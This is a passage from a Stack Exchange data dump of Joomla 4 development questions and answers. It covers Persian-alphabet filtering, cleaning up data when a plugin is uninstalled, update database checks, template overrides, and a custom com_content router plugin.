?&amp;gt;&#xA;        &amp;lt;div class=&amp;quot;alert alert-warning&amp;quot;&amp;gt;&#xA;            &amp;lt;?php echo Text::_('COM_AVISAMOVIEDB_NOTHING_FOUND'); ?&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;?php } ?&amp;gt;&#xA;&#xA;    &amp;lt;?php foreach (array_chunk($this-&amp;gt;items, $this-&amp;gt;columns) as $this-&amp;gt;items) { ?&amp;gt;&#xA;        &amp;lt;div class=&amp;quot;avisamoviedb-row&amp;quot;&amp;gt;&#xA;            &amp;lt;?php foreach ($this-&amp;gt;items as $celebrity) { ?&amp;gt;&#xA;                &amp;lt;div class=&amp;quot;item avisamoviedb-col-sm-&amp;lt;?php echo round(12 / $this-&amp;gt;columns); ?&amp;gt;&amp;quot;&amp;gt;&#xA;                    &amp;lt;div class=&amp;quot;celebritie-poster&amp;quot;&amp;gt;&#xA;                        &amp;lt;img src=&amp;quot;&amp;lt;?php echo Uri::root() . $celebrity-&amp;gt;profile_image; ?&amp;gt;&amp;quot; alt=&amp;quot;&amp;lt;?php echo $celebrity-&amp;gt;title; ?&amp;gt;&amp;quot;&amp;gt;&#xA;                        &amp;lt;a href=&amp;quot;&amp;lt;?php echo $celebrity-&amp;gt;url; ?&amp;gt;&amp;quot; class=&amp;quot;play-icon&amp;quot;&amp;gt;&amp;lt;i class=&amp;quot;avisamoviedb-icon-celebrities&amp;quot;&amp;gt;&amp;lt;/i&amp;gt;&amp;lt;/a&amp;gt;&#xA;                    &amp;lt;/div&amp;gt;&#xA;                    &amp;lt;div class=&amp;quot;celebritie-details&amp;quot;&amp;gt;&#xA;                        &amp;lt;div class=&amp;quot;celebritie-name&amp;quot;&amp;gt;&#xA;                            &amp;lt;a href=&amp;quot;&amp;lt;?php echo $celebrity-&amp;gt;url; ?&amp;gt;&amp;quot;&amp;gt;&#xA;                                &amp;lt;h4 class=&amp;quot;celebritie-title&amp;quot;&amp;gt;&amp;lt;?php echo $celebrity-&amp;gt;title; ?&amp;gt;&amp;lt;/h4&amp;gt;&#xA;                            &amp;lt;/a&amp;gt;&#xA;                            &amp;lt;span&amp;gt;&amp;lt;?php echo $celebrity-&amp;gt;designation; ?&amp;gt;&amp;lt;/span&amp;gt;&#xA;                        &amp;lt;/div&amp;gt;&#xA;                    &amp;lt;/div&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;            &amp;lt;?php } ?&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;?php } ?&amp;gt;&#xA;&#xA;    &amp;lt;?php&#xA;        if ($this-&amp;gt;pagination-&amp;gt;pagesTotal &amp;gt; 1) { ?&amp;gt;&#xA;        &amp;lt;?php echo $this-&amp;gt;pagination-&amp;gt;getPagesLinks(); ?&amp;gt;&#xA;    &amp;lt;?php } ?&amp;gt;&#xA;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;But this code doesn’t filter my celebrities in my site.&#xA;What’s wrong?&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/FbMAW.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/FbMAW.jpg&quot; alt=&quot;Check example&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Here you can see I choose 'ص', but I can see all items.&#xA;All these items must hide... And if I choose the right alphabet, these items must show.&#xA;This code must work as some filter.&lt;/p&gt;&#xA;" OwnerUserId="15061" LastEditorUserId="438" LastEditDate="2023-10-10T06:57:45.583" LastActivityDate="2023-10-10T06:57:45.583" Title="How can I filter the Persian alphabet in PHP for Joomla 4?" Tags="|php|joomla-4.x|filter|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33401" PostTypeId="2" ParentId="33400" CreationDate="2023-10-09T06:12:53.323" Score="4" Body="&lt;p&gt;Per documentation, &lt;code&gt;WORD&lt;/code&gt; filter does not allow unicode characters:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;WORD: A string containing A-Z or underscores only (not case sensitive)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://api.joomla.org/framework-2/classes/Joomla-Filter-InputFilter.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://api.joomla.org/framework-2/classes/Joomla-Filter-InputFilter.html&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;You may need to get unfiltered input using &lt;code&gt;RAW&lt;/code&gt; filter and filter it yourself using a suitable regular expression. Since you already have a list of allowed values, you can use &lt;code&gt;in_array()&lt;/code&gt; instead to determine whether input value is valid:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$characters = ['ا', 'ب', 'پ', 'ت', 'ث', 'ج', 'چ', 'ح', 'خ', 'د', 'ذ', 'ر', 'ز', 'ژ', 'س', 'ش', 'ص', 'ض', 'ط', 'ظ', 'ع', 'غ', 'ف', 'ق', 'ک', 'گ', 'ل', 'م', 'ن', 'و', 'ه', 'ی'];&#xA;$alphaindex = $inputs-&amp;gt;get('alphaindex', '', 'RAW');&#xA;&#xA;if (in_array($alphaindex, $characters, true))&#xA;{&#xA;    $query-&amp;gt;where($db-&amp;gt;quoteName('a.title') . &amp;quot; LIKE &amp;quot; . $db-&amp;gt;quote(($alphaindex) . '%'));&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12652" LastEditorUserId="12652" LastEditDate="2023-10-09T07:36:59.140" LastActivityDate="2023-10-09T07:36:59.140" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="33402" PostTypeId="1" CreationDate="2023-10-09T12:57:46.617" Score="0" ViewCount="80" Body="&lt;p&gt;I created content plugin to extend category option. This plguin could add second image to category, it works well. But when I uninstall this plugin, the image is still in the database.&lt;/p&gt;&#xA;&lt;p&gt;What I want is: the data is also removed when the plugin is uninstalled. How?&lt;/p&gt;&#xA;&lt;p&gt;I created 3 files:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;categorydrawing.php&lt;/li&gt;&#xA;&lt;li&gt;categorydrawing.xml&lt;/li&gt;&#xA;&lt;li&gt;categorydrawingimage.xml&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;Code in categorydrawing.php&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;// no direct access&#xA;defined ('_JEXEC') or die;&#xA;class plgContentCategoryDrawing extends JPlugin&#xA;{&#xA;    /**&#xA;     * Load the language file on instantiation.&#xA;     * Note this is only available in Joomla 3.1 and higher.&#xA;     * If you want to support 3.0 series you must override the constructor&#xA;     *&#xA;     * @var boolean&#xA;     * @since &amp;lt;1.0&amp;gt;&#xA;     */&#xA;    protected $autoloadLanguage = true;&#xA;    /**&#xA;     * Prepare form and add my field.&#xA;     *&#xA;     * @param   JForm  $form  The form to be altered.&#xA;     * @param   mixed  $data  The associated data for the form.&#xA;     *&#xA;     * @return  boolean&#xA;     *&#xA;     * @since   &amp;lt;1.0&amp;gt;&#xA;     */&#xA;    function onContentPrepareForm($form, $data)&#xA;    {&#xA;        $app    = JFactory::getApplication();&#xA;        $option = $app-&amp;gt;input-&amp;gt;get('option');&#xA;        switch($option)&#xA;        {&#xA;            case 'com_categories' :&#xA;                if ($app-&amp;gt;isClient('administrator'))&#xA;                {&#xA;                    JForm::addFormPath(__DIR__);&#xA;                    $form-&amp;gt;loadFile('categorydrawingimage', false);&#xA;                }&#xA;                return true;&#xA;        }&#xA;        return true;&#xA;    }&#xA;}&#xA;&#xA;?&amp;gt;&#xA;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Codes in categorydrawing.xml&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;utf-8&amp;quot;?&amp;gt;&#xA;&amp;lt;extension type=&amp;quot;plugin&amp;quot; group=&amp;quot;content&amp;quot; method=&amp;quot;upgrade&amp;quot;&amp;gt;&#xA;    &amp;lt;name&amp;gt;Category Drawing&amp;lt;/name&amp;gt;&#xA;    &amp;lt;description&amp;gt;To add drawing to category&amp;lt;/description&amp;gt;&#xA;    &amp;lt;files&amp;gt;&#xA;        &amp;lt;filename plugin=&amp;quot;categorydrawing&amp;quot;&amp;gt;categorydrawing.php&amp;lt;/filename&amp;gt;&#xA;        &amp;lt;filename&amp;gt;categorydrawingimage.xml&amp;lt;/filename&amp;gt;&#xA;    &amp;lt;/files&amp;gt;&#xA;&amp;lt;/extension&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Codes in categorydrawingimage.xml&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;UTF-8&amp;quot;?&amp;gt;&#xA;&amp;lt;form&amp;gt;&#xA;&amp;lt;config&amp;gt;&#xA;    &amp;lt;fields name=&amp;quot;params&amp;quot;&amp;gt;&#xA;        &amp;lt;fieldset name=&amp;quot;drawing_image_short_description&amp;quot; label=&amp;quot;Drawing Image and Description&amp;quot;&amp;gt;&#xA;&#xA;                &amp;lt;field&#xA;                    name=&amp;quot;drawing_image&amp;quot;&#xA;                    type=&amp;quot;media&amp;quot;&#xA;                    label=&amp;quot;Drawing Image&amp;quot;&#xA;                /&amp;gt;&#xA;&#xA;                &amp;lt;field&#xA;                    name=&amp;quot;drawing_image_alt&amp;quot;&#xA;                    type=&amp;quot;text&amp;quot;&#xA;                    label=&amp;quot;Drawing Image Description (Alt Text)&amp;quot;&#xA;                /&amp;gt;&#xA;        &amp;lt;/fieldset&amp;gt;&#xA;    &amp;lt;/fields&amp;gt;&#xA;    &amp;lt;/config&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="14590" LastEditorUserId="14590" LastEditDate="2023-10-10T02:35:22.317" LastActivityDate="2023-10-10T02:35:22.317" Title="remove data when uninstall plugin joomla" Tags="|joomla-4.x|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="33403" PostTypeId="1" CreationDate="2023-10-09T13:09:00.140" Score="3" ViewCount="65" Body="&lt;p&gt;I installed Joomla on my webhost (Siteground) using the one-click installer package. I'm currently on v4.3.2&lt;/p&gt;&#xA;&lt;p&gt;Everything appears to be working as expected apart from the Joomla update option. It keeps failing at the database check &lt;a href=&quot;https://imgur.com/a/kpKTxKt&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://imgur.com/a/kpKTxKt&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;I've been reading this post and others have encountered the same issue &lt;a href=&quot;https://issues.joomla.org/tracker/joomla-cms/35915&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://issues.joomla.org/tracker/joomla-cms/35915&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Seems to be related to the web host installer.&lt;/p&gt;&#xA;&lt;p&gt;In system &amp;gt; maintenance database I see &lt;em&gt;All database table structures are up to date.&lt;/em&gt; Tried clicking Update Structure a few times but no change.&lt;/p&gt;&#xA;&lt;p&gt;I'll get in touch with the web host and let them know, but wondering how I can fix this for now so that I'm able to upgrade to the latest version of Joomla.&lt;/p&gt;&#xA;" OwnerUserId="1538" LastEditorUserId="1538" LastEditDate="2023-10-09T16:13:12.287" LastActivityDate="2023-10-09T16:13:12.287" Title="Joomla 4 Pre-Update Check Database Fail" Tags="|joomla-4.x|database|upgrade|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="33405" PostTypeId="2" ParentId="33402" CreationDate="2023-10-09T21:47:45.273" Score="1" Body="&lt;p&gt;You need to create an Installer script that is run when your Plugin is uninstalled that removes the extra data you have added with your plugin.&lt;/p&gt;&#xA;&lt;p&gt;I couldn't find a Joomla 4 example but these articles for Joomla 3 should get you started, &lt;a href=&quot;https://docs.joomla.org/J3.x:Creating_a_simple_module/Adding_an_install-uninstall-update_script_file/en&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/J3.x:Creating_a_simple_module/Adding_an_install-uninstall-update_script_file/en&lt;/a&gt; and &lt;a href=&quot;https://docs.joomla.org/Special:MyLanguage/J3.2:Developing_an_MVC_Component/Adding_an_install-uninstall-update_script_file#helloworld.xml&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Special:MyLanguage/J3.2:Developing_an_MVC_Component/Adding_an_install-uninstall-update_script_file#helloworld.xml&lt;/a&gt; and &lt;a href=&quot;https://docs.joomla.org/Extension_Installer/Installer_Hooks&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Extension_Installer/Installer_Hooks&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;The process involves you creating a &lt;code&gt;script.php&lt;/code&gt; file that contains an &lt;code&gt;uninstall&lt;/code&gt; method and within that method you provide the code to remove the extra fields from the &lt;code&gt;params&lt;/code&gt; field of the &lt;code&gt;#__category&lt;/code&gt; table. The code that you write would extract the JSON value from &lt;code&gt;params&lt;/code&gt;, remove your &lt;code&gt;drawing_image&lt;/code&gt; and &lt;code&gt;drawing_image_alt&lt;/code&gt; entries and then write the the updated JSON value back to the &lt;code&gt;params&lt;/code&gt; field.&lt;/p&gt;&#xA;&lt;p&gt;To make sure the script.php will run when the Plugin is uninstalled you need to define the script to the manifest file of your plugin with the following element.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;scriptfile&amp;gt;script.php&amp;lt;/scriptfile&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="13306" LastActivityDate="2023-10-09T21:47:45.273" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="33407" PostTypeId="1" CreationDate="2023-10-10T14:55:48.740" Score="0" ViewCount="50" Body="&lt;p&gt;I have created the following override files in my Joomla 4 template override folder:&lt;/p&gt;&#xA;&lt;p&gt;/templates/chat/html/com_content/category/needinghomes.xml&#xA;/templates/chat/html/com_content/category/needinghomes.php&#xA;/templates/chat/html/com_content/category/needinghomes_children.php&#xA;/templates/chat/html/com_content/category/needinghomes_item.php&lt;/p&gt;&#xA;&lt;p&gt;I then have a menu item (Menu Item Type is &amp;quot;Needing Homes&amp;quot;) called 'Adopt', this gives me the following URL:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://DOMAIN.com/index.php?option=com_content&amp;amp;view=category&amp;amp;layout=chat:needinghomes&amp;amp;id=8&amp;amp;Itemid=121&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://DOMAIN.com/index.php?option=com_content&amp;amp;view=category&amp;amp;layout=chat:needinghomes&amp;amp;id=8&amp;amp;Itemid=121&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;This page is loading correctly, showing me categories (counties).&lt;/p&gt;&#xA;&lt;p&gt;One of the counties is called &amp;quot;Bedfordshire&amp;quot; if I click on that, it takes me to this URL:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://DOMAIN.com/index.php?option=com_content&amp;amp;view=needinghomes&amp;amp;layout=needinghomes_children&amp;amp;location=Bedfordshire&amp;amp;Itemid=121&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://DOMAIN.com/index.php?option=com_content&amp;amp;view=needinghomes&amp;amp;layout=needinghomes_children&amp;amp;location=Bedfordshire&amp;amp;Itemid=121&lt;/a&gt; but that page is showing an error:&lt;/p&gt;&#xA;&lt;p&gt;&amp;quot;View not found [name, type, prefix]: needinghomes, html, site&amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;What am I doing wrong with the overrides that it's not finding the needinghomes view?&lt;/p&gt;&#xA;" OwnerUserId="294" LastActivityDate="2023-10-10T14:55:48.740" Title="Override com_content views" Tags="|joomla-4.x|overrides|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="33408" PostTypeId="2" ParentId="33370" CreationDate="2023-10-10T15:43:12.940" Score="1" Body="&lt;p&gt;As there are a number of issues arising like this, this answer explains how to override the com_content router to select a better menuitem to base an SEF URL on.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;WARNING&lt;/strong&gt;&#xA;This is a system plugin, and if you have a PHP syntax error in it you will get locked out of the Joomla admin back-end, and will have to go into phpmyadmin (or equivalent) to set to 0 the &lt;code&gt;enabled&lt;/code&gt; field within the plugin record in #__extensions. If you're not comfortable doing this then I would recommend not using this plugin.&lt;/p&gt;&#xA;&lt;p&gt;Into a folder plg_custom_menurule create the following 5 files.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;plg_custom_menurule/custom_menurule.xml&lt;/strong&gt; - this is the manifest file for the plugin.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;utf-8&amp;quot;?&amp;gt;&#xA;&#xA;&amp;lt;extension type=&amp;quot;plugin&amp;quot; group=&amp;quot;system&amp;quot; method=&amp;quot;upgrade&amp;quot;&amp;gt;&#xA;  &amp;lt;name&amp;gt;Custom Menurule&amp;lt;/name&amp;gt;&#xA;  &amp;lt;version&amp;gt;1.0.0&amp;lt;/version&amp;gt;&#xA;  &amp;lt;creationDate&amp;gt;today&amp;lt;/creationDate&amp;gt;&#xA;  &amp;lt;author&amp;gt;me&amp;lt;/author&amp;gt;&#xA;  &amp;lt;description&amp;gt;This plugin overrides the com_content site router where it selects the menuitem for the SEF URL&amp;lt;/description&amp;gt;&#xA;  &amp;lt;namespace path=&amp;quot;src&amp;quot;&amp;gt;My\Plugin\System\CustomMenurule&amp;lt;/namespace&amp;gt;&#xA;  &amp;lt;files&amp;gt;&#xA;    &amp;lt;folder plugin=&amp;quot;custom_menurule&amp;quot;&amp;gt;services&amp;lt;/folder&amp;gt;&#xA;    &amp;lt;folder&amp;gt;src&amp;lt;/folder&amp;gt;&#xA;  &amp;lt;/files&amp;gt;&#xA;&amp;lt;/extension&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;strong&gt;plg_custom_menurule/services/provider.php&lt;/strong&gt; - this is just standard boilerplate code for instantiating the plugin via the dependency injection container.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;defined('_JEXEC') or die;&#xA;&#xA;use Joomla\CMS\Extension\PluginInterface;&#xA;use Joomla\CMS\Plugin\PluginHelper;&#xA;use Joomla\DI\Container;&#xA;use Joomla\DI\ServiceProviderInterface;&#xA;use Joomla\Event\DispatcherInterface;&#xA;use My\Plugin\System\CustomMenurule\Extension\CustomMenurulePlugin;&#xA;&#xA;return new class implements ServiceProviderInterface {&#xA;&#xA;    public function register(Container $container) {&#xA;      $container-&amp;gt;set(&#xA;        PluginInterface::class,&#xA;        function (Container $container) {&#xA;          $dispatcher = $container-&amp;gt;get(DispatcherInterface::class);&#xA;          $plugin     = new CustomMenurulePlugin(&#xA;            $dispatcher,&#xA;            (array) PluginHelper::getPlugin('system', 'custom_menurule')&#xA;          );&#xA;          return $plugin;&#xA;        }&#xA;      );&#xA;    }&#xA;};&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;strong&gt;plg_custom_menurule/src/Extension/CustomMenurulePlugin.php&lt;/strong&gt;. This is the entry point for the plugin. It registers to listen for the 'onAfterExtensionBoot' event, which is raised within &lt;code&gt;loadExtension&lt;/code&gt; in libraries/src/Extension/ExtensionManagerTrait.php.&lt;/p&gt;&#xA;&lt;p&gt;When the event is raised, if it's for the site com_content then it registers in the component's child Dependency Injection Container a RouterFactory with the plugin's namespace, which will overwrite the usual com_content entry (set in administrator/components/com_content/services/provider.php).&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;namespace My\Plugin\System\CustomMenurule\Extension;&#xA;&#xA;defined('_JEXEC') or die;&#xA;&#xA;use Joomla\CMS\Plugin\CMSPlugin;&#xA;use Joomla\Event\Event;&#xA;use Joomla\Event\SubscriberInterface;&#xA;use Joomla\CMS\Extension\ComponentInterface;&#xA;use Joomla\CMS\Extension\Service\Provider\RouterFactory;&#xA;use Joomla\CMS\Factory;&#xA;&#xA;class CustomMenurulePlugin extends CMSPlugin implements SubscriberInterface {&#xA;     &#xA;    public static function getSubscribedEvents(): array {&#xA;        return [&#xA;            'onAfterExtensionBoot' =&amp;gt; 'replaceRouterFactory',&#xA;        ];&#xA;    }&#xA;&#xA;    public function replaceRouterFactory(Event $event): void {&#xA;        if (!Factory::getApplication()-&amp;gt;isClient(&amp;quot;site&amp;quot;)) {&#xA;            return;&#xA;        }&#xA;        if (($event['type'] === ComponentInterface::class) &amp;amp;&amp;amp; ($event['extensionName'] === &amp;quot;content&amp;quot;)) {&#xA;            $container = $event[&amp;quot;container&amp;quot;];&#xA;            $container-&amp;gt;registerServiceProvider(new RouterFactory('\\My\\Plugin\\System\\CustomMenurule'));&#xA;        }&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;When the RouterFactory is called up to create a Router instance, it tries to instantiate a class &lt;code&gt;&amp;lt;namespace&amp;gt;\Site\Service\Router&lt;/code&gt; so this is what we want to define.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;plg_custom_menurule/src/Site/Service/Router.php&lt;/strong&gt;. Our class extends the com_content router class, and we use its configuration of the Router views, and the routing rules (set up in its constructor in components/com_content/src/Service/Router.php). Then we detach the menu rule that had been set and in its place attach our own. We need also to override the &lt;code&gt;getName&lt;/code&gt; method.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;namespace My\Plugin\System\CustomMenurule\Site\Service;&#xA;&#xA;use Joomla\CMS\Application\SiteApplication;&#xA;use Joomla\CMS\Categories\CategoryFactoryInterface;&#xA;use Joomla\CMS\Component\Router\Rules\MenuRules;&#xA;use Joomla\CMS\Menu\AbstractMenu;&#xA;use Joomla\Database\DatabaseInterface;&#xA;&#xA;\defined('_JEXEC') or die;&#xA;&#xA;class Router extends \Joomla\Component\Content\Site\Service\Router&#xA;{&#xA;    public function __construct(SiteApplication $app, AbstractMenu $menu, CategoryFactoryInterface $categoryFactory, DatabaseInterface $db)&#xA;    {&#xA;        parent::__construct($app, $menu, $categoryFactory, $db);&#xA;&#xA;        $rules = $this-&amp;gt;getRules();&#xA;        foreach ($rules as $rule) {&#xA;            if ($rule instanceof \Joomla\CMS\Component\Router\Rules\MenuRules) {&#xA;                $this-&amp;gt;detachRule($rule);&#xA;                break;&#xA;            }&#xA;        }&#xA;        &#xA;        $this-&amp;gt;attachRule(new \My\Plugin\System\CustomMenurule\Site\Service\MenuRules($this));&#xA;    }&#xA;    &#xA;    public function getName()&#xA;    {&#xA;        return &amp;quot;content&amp;quot;;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;strong&gt;plg_custom_menurule/src/Site/Service/MenuRules.php&lt;/strong&gt; - This is our version of the &lt;code&gt;preprocess&lt;/code&gt; function which is used to set the Itemid of the menuitem to build an SEF URL upon. The code extends the equivalent Joomla class in libraries/src/Component/Router/Rules/MenuRules.php, so that we reuse its &lt;code&gt;buildLookup&lt;/code&gt; function, but override the &lt;code&gt;preprocess&lt;/code&gt; function.&lt;/p&gt;&#xA;&lt;p&gt;Note that this code is based on the Joomla 4.3.4 version. Other versions may have different Joomla code in this file.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;namespace My\Plugin\System\CustomMenurule\Site\Service;&#xA;&#xA;use Joomla\CMS\Component\Router\Rules\RulesInterface;&#xA;use Joomla\CMS\Component\ComponentHelper;&#xA;use Joomla\CMS\Component\Router\RouterView;&#xA;use Joomla\CMS\Language\Multilanguage;&#xA;&#xA;\defined('JPATH_PLATFORM') or die;&#xA;&#xA;class MenuRules extends \Joomla\CMS\Component\Router\Rules\MenuRules&#xA;{&#xA;    private static $allLangHomeRemoved = false;&#xA;&#xA;    public function preprocess(&amp;amp;$query)&#xA;    {&#xA;        $active = $this-&amp;gt;router-&amp;gt;menu-&amp;gt;getActive();&#xA;&#xA;        /**&#xA;         * If the active item id is not the same as the supplied item id or we have a supplied item id and no active&#xA;         * menu item then we just use the supplied menu item and continue&#xA;         */&#xA;        if (isset($query['Itemid']) &amp;amp;&amp;amp; ($active === null || $query['Itemid'] != $active-&amp;gt;id)) {&#xA;            return;&#xA;        }&#xA;&#xA;        // Get query language&#xA;        $language = isset($query['lang']) ? $query['lang'] : '*';&#xA;&#xA;        // Set the language to the current one when multilang is enabled and item is tagged to ALL&#xA;        if (Multilanguage::isEnabled() &amp;amp;&amp;amp; $language === '*') {&#xA;            $language = $this-&amp;gt;router-&amp;gt;app-&amp;gt;get('language');&#xA;        }&#xA;&#xA;        // build the reverse lookup for the language (the buildLookup() for language &amp;quot;*&amp;quot; is already done in the constructor)&#xA;        // $this-&amp;gt;lookup is a multidimensional array of the menuitems which match the component (com_content),&#xA;        // the language, and filtered by access.&#xA;        // It is keyed by:&#xA;        //   - firstly language - eg &amp;quot;*&amp;quot; or &amp;quot;en-GB&amp;quot;&#xA;        //   - secondly view or view:layout - the view, and possibly also layout, defined in the menuitem&#xA;        //   - thirdly id - whatever is the id defined in the menuitem, or 0 if no id is specified&#xA;        // The value of this element in the array is the Itemid of the menuitem.&#xA;        if (!isset($this-&amp;gt;lookup[$language])) {&#xA;            $this-&amp;gt;buildLookup($language);&#xA;        }&#xA;        &#xA;        // If the &amp;amp;Itemid=.. has been specified in the Route::_() call then use it if it's suitable &#xA;        // (ie if it's in the lookup array)&#xA;        if (isset($query['Itemid'])) {&#xA;            if (array_search((int)$query['Itemid'], $this-&amp;gt;lookup, true) !== false) {&#xA;                return; // just use that Itemid&#xA;            }&#xA;        }&#xA;&#xA;        /* The following is superfluous given that we'll take the supplied menu item if it's found above&#xA;        // Check if the active menu item matches the requested query&#xA;        if ($active !== null &amp;amp;&amp;amp; isset($query['Itemid'])) {&#xA;            // Check if active-&amp;gt;query and supplied query are the same&#xA;            $match = true;&#xA;&#xA;            foreach ($active-&amp;gt;query as $k =&amp;gt; $v) {&#xA;                if (isset($query[$k]) &amp;amp;&amp;amp; $v !== $query[$k]) {&#xA;                    // Compare again without alias&#xA;                    if (\is_string($v) &amp;amp;&amp;amp; $v == current(explode(':', $query[$k], 2))) {&#xA;                        continue;&#xA;                    }&#xA;&#xA;                    $match = false;&#xA;                    break;&#xA;                }&#xA;            }&#xA;&#xA;            if ($match) {&#xA;                // Just use the supplied menu item&#xA;                return;&#xA;            }&#xA;        }&#xA;        */&#xA;&#xA;        // If it's a multilingual site then ensure we don't use the home page of the &amp;quot;*&amp;quot; language&#xA;        if (Multilanguage::isEnabled() &amp;amp;&amp;amp; !self::$allLangHomeRemoved) {&#xA;            $homeItems = $this-&amp;gt;router-&amp;gt;menu-&amp;gt;getItems(array('language', 'home'), array('*', 1));&#xA;            if ($homeItems) {&#xA;                $allLangHome = $homeItems[0]-&amp;gt;id;&#xA;                foreach ($this-&amp;gt;lookup as $lang =&amp;gt; $viewArray) {&#xA;                    foreach ($viewArray as $view =&amp;gt; $idArray) {&#xA;                        foreach ($idArray as $id =&amp;gt; $itemid) {&#xA;                            if ($itemid == $allLangHome) {&#xA;                                if (count($this-&amp;gt;lookup[$lang][$view]) == 1) {&#xA;                                    unset($this-&amp;gt;lookup[$lang][$view]);&#xA;                                } else {&#xA;                                    unset($this-&amp;gt;lookup[$lang][$view][$id]);&#xA;                                }&#xA;                                break;&#xA;                            }&#xA;                        }&#xA;                    }&#xA;                }&#xA;            }&#xA;            self::$allLangHomeRemoved = true;&#xA;        }&#xA;        &#xA;        // Form the equivalent of view:layout based on the query parameters, and try to match in the lookup array&#xA;        if (isset($query['view'])) {&#xA;            $searchKey = $query['view'];&#xA;            if (isset($query['layout']) &amp;amp;&amp;amp; $query['layout'] !== 'default') {&#xA;                $searchKey .= &amp;quot;:&amp;quot; . $query['layout'];&#xA;            }&#xA;            foreach ($this-&amp;gt;lookup as $lang =&amp;gt; $arr) {&#xA;                if (array_key_exists($searchKey, $arr)) {  // find if there's a matching view:layout&#xA;                    $matchingViews = $arr[$searchKey];&#xA;                    // now see if we can find an exact match with the id&#xA;                    if (isset($query['id'])) {&#xA;                        $idKey = (int) $query['id'];&#xA;                        if (array_key_exists($idKey, $matchingViews)) {&#xA;                            $query['Itemid'] = $matchingViews[$idKey];&#xA;                            return;&#xA;                        } &#xA;                    } else { // if we haven't got an id in the query array&#xA;                        if (array_key_exists(0, $matchingViews)) {&#xA;                            $query['Itemid'] = $matchingViews[0];&#xA;                            return;&#xA;                        } &#xA;                    }&#xA;                }&#xA;            }&#xA;        }&#xA;        &#xA;        // Use the active menuitem if it's a com_content one &#xA;        if ($active &amp;amp;&amp;amp; $active-&amp;gt;component === &amp;quot;com_content&amp;quot;) {&#xA;            $query[&amp;quot;Itemid&amp;quot;] = $active-&amp;gt;id;&#xA;            return;&#xA;        }&#xA;        &#xA;        // if we didn't find one above, then fall back to the standard Joomla code below&#xA;&#xA;        $needles = $this-&amp;gt;router-&amp;gt;getPath($query);&#xA;&#xA;        $layout = isset($query['layout']) &amp;amp;&amp;amp; $query['layout'] !== 'default' ? ':' . $query['layout'] : '';&#xA;&#xA;        if ($needles) {&#xA;            foreach ($needles as $view 